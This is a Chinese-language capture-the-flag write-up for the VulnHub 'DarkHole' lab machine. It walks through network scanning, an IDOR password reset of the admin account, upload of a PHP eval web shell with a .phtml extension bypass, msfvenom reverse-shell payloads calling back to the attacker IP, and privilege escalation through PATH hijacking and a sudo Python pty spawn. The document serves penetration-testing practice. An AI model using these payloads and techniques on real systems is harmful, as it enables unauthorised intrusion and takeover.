DarkHole
写写打靶记录。
1 信息收集
由于将 Kali 与 VulnHub 使用 VMware Nat 网卡进行了桥接,所以使用 Kali 去扫描靶机。
首先查看 Kali IP 地址:
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.142 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::20c:29ff:fea4:774e prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a4:77:4e txqueuelen 1000 (Ethernet)
RX packets 75 bytes 15843 (15.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 594 bytes 45200 (44.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
扫描当前网段,发现靶机 IP 地址:
┌──(root㉿kali)-[~]
└─# arp-scan 192.168.1.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a4:77:4e, IPv4: 192.168.1.142
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 00:50:56:c0:00:08 VMware, Inc.
192.168.1.2 00:50:56:f2:24:22 VMware, Inc.
192.168.1.140 00:0c:29:23:07:8b VMware, Inc.
192.168.1.254 00:50:56:e9:3a:b6 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.950 seconds (131.28 hosts/sec). 4 responded
扫描开放端口:
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.1.140
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-23 01:19 EST
Nmap scan report for 192.168.1.140
Host is up (0.00072s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:23:07:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.73 seconds
扫描端口对应服务:
┌──(root㉿kali)-[~]
└─# nmap -p 22,80 -sV 192.168.1.140
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-23 01:19 EST
Nmap scan report for 192.168.1.140
Host is up (0.00043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 00:0C:29:23:07:8B (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
扫描出 80 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:

2 目录扫描
使用 feroxbuster 扫一扫:
feroxbuster -u http://192.168.1.140

发现了几个目录,找一找有没有可用信息:
config:有一个 database.php 文件,点开内容为空。
upload:有一个 d.jpg 文件,点开是张合照。
css:单纯的 CSS 文件。
js:单纯的 JS 文件。
3 垂直越权
没啥用,回到主页随便点一点,好吧,只有一个 Login 按钮能点,迷:

这时候,一般会出现几种思路:
口令爆破
SQL 注入
注册登录
经过简单测试,口令爆破失败不存在账号密码逻辑问题,也不存在 SQL 注入。
那就简单注册一个账号:

注册成功,账号密码为:yongz/123456。
登录一下:

页面非常简单,好像也没啥东西,不过查看 URL 发现有参数提交,怀疑存在 SQL 注入,试一试。
简单试了一下,也没有,不过这里有个修改密码,抓个包看看:

发现出现了 id=2,这很有可能表示当前用户标识,而 id=1 就可能为管理员,因为可以尝试修改 id=1 的密码,修改为:admin。

猜测账号为:admin,尝试登录一下,当然这里使用 BurpSuite 跑用户字典也是可以的。

成功登录!
4 文件上传
发现 admin 和普通用户不同,有一个文件上传功能,尝试一下上传木马文件:
<?php @eval($_REQUEST[cmd]);

发现只能上传图片格式文件,并且通过抓包发现不在前端进行校验,这时有两个思路:
上传图片马,看看其他地方是否存在文件包含。
上传一下其他格式文件,看看是否真为白名单校验。
第一种不太可能,试试第二种:
cp shell.php shell.php3

发现上传成功,但是无法执行:

使用 BurpSuite 跑一下,看看还支持什么后缀:

发现都可以上传成功,经过折磨,发现 phtml 后缀可以执行:

使用 AntSword 连接一下:

经过简单的查找发现了原来的密码:

5 MSF 上马
由于 AntSword 的 Shell 功能不是很强,使用 MSF 的 Shell,生成一个 Linux/PHP 的马:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.142 LPORT=4444 -f elf -o shell.elf
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.142 LPORT=4444 -o shell.php



6 环境变量提权
经过简单的查看,发现有三个可登录用户,现在的权限不够,需要提个权:

去家目录找一找,发现 darkhole 没东西,john 有:

其中 toto 有一个 root 的执行权限,执行一下看看:

发现执行 toto 文件返回一个 id 命令的结果,我们可以尝试利用这个特性,在本地编辑新的 id 文件,写入 /bin/bash,给执行权限。将文件路径写入到原有环境变量前(从前往后顺序匹配),这样使用 id 命令时就会优先匹配此路径下的 id 文件,运行 toto 文件使用 john 身份调用 id 命令时就会获得 shell:
echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH
echo $PATH

成功提权!
7 SUDO 提权
刚刚我们在目录下发现了一个 password,查看一下:
cat password
root123
发现 john 的密码,由于现在还不是 root 权限,简单查看一下发现 sudo 存在:
sudo -l -S

发现可以用 root 权限执行 file.py 文件,查看一下文件内容,好吧空的,写段 Shell 代码:
echo "import pty;pty.spawn('/bin/bash')" > file.py

提权成功~
查找下 flag:

flag:DarkHole{You_Are_Legend}